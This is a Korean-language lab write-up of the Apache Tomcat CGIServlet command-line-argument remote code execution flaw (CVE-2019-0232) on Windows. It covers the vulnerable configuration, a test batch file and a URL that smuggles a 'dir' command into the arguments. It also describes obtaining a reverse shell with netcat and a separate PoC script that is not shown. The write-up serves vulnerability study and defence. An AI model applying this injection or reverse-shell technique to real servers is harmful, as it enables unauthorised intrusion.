
Apache Tomcat - CGIServlet enableCmdLineArguments 원격 코드 실행(RCE)에 대한 취약점 분석 및 PoC
Apache Tomcat - CGIServlet enableCmdLineArguments 원격 코드 실행(RCE) 취약점 분석 및 PoC
동영상 PoC는 https://www.youtube.com/watch?v=RA7kzuHOWqA 에서 확인 가능합니다.
Apache Tomcat의 CGI Servlet에서 취약점이 발견되어 원격 코드 실행(RCE)이 가능합니다. 이 취약점은 Windows에서 비기본 설정과 배치 파일을 함께 사용하는 경우에만 악용될 수 있습니다. Common Gateway Interface (CGI)는 웹 서버가 웹 요청을 통해 명령줄 프로그램/스크립트를 실행할 수 있게 하는 표준 프로토콜입니다. 이 프로토콜은 URL 매개변수를 통해 실행되는 스크립트나 프로그램에 명령줄 인수를 전달하는 기능도 제공합니다. 프로토콜 자체는 RFC 3875에 정의되어 있습니다. Windows에서 enableCmdLineArguments가 활성화된 상태에서 실행할 경우, Apache Tomcat의 CGI Servlet은 JRE가 Windows에 명령줄 인수를 전달하는 방식의 버그로 인해 RCE에 취약해집니다. CGI Servlet은 기본적으로 비활성화되어 있습니다. CGI 옵션 enableCmdLineArguments는 Tomcat 9.0.x에서 기본적으로 비활성화되어 있으며 (이 취약점에 대응하여 모든 버전에서 기본적으로 비활성화될 예정입니다).
동영상 PoC는 https://www.youtube.com/watch?v=RA7kzuHOWqA 에서 확인 가능합니다.
Windows PC에 위에 나열된 취약한 버전 중 하나의 Tomcat이 설치된 Apache 서버가 있어야 합니다. 또한 동일한 머신에 Java JRE가 설치되어 있어야 합니다.
제 경우에는 XAMPP 서버에 Apache Tomcat 9.0.0.M1을 설치했습니다.
Tomcat을 설치한 후, 설정에서 다음과 같이 변경합니다:
a. conf/context.xml을 수정하여 <Context privileged="true">로 설정합니다.

b. /conf/web.xml 파일에서 각각 366번째 줄과 420번째 줄 근처를 다음과 같이 변경합니다.

Tomcat 9를 사용하고 있으므로 enableCmdLineArguments를 True로 설정해야 합니다.
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi/*</url-pattern>
</servlet-mapping>
CGI 파일을 위한 폴더를 webapps\ROOT\WEB-INF\cgi에 만들고, 다음 내용을 포함하는 ism.bat 파일을 추가합니다:

@echo off
echo Content-Type: text/plain
echo .
이제 모든 준비가 완료되었습니다. 서버를 시작하고 http://localhost:8080/cgi/ism.bat?&dir로 이동하여 서버가 작동하는지 확인합니다.

여기서 RCE를 발견했습니다. 이제 nc.exe가 있는 디렉토리의 공격자 머신에서 netcat을 사용하여 리버스 셸을 얻기 위해 서버를 시작하고, 연결을 수신할 netcat 리스너를 켭니다.
이제 cve-2019-0232.py를 실행하고 그 안에 서버 IP와 포트를 추가합니다.
마침내 리버스 셸을 얻었습니다.

동영상 PoC 링크: https://www.youtube.com/watch?v=RA7kzuHOWqA
[[a-zA-Z0-9\Q-_.\\/:\E]+]을 구현했습니다.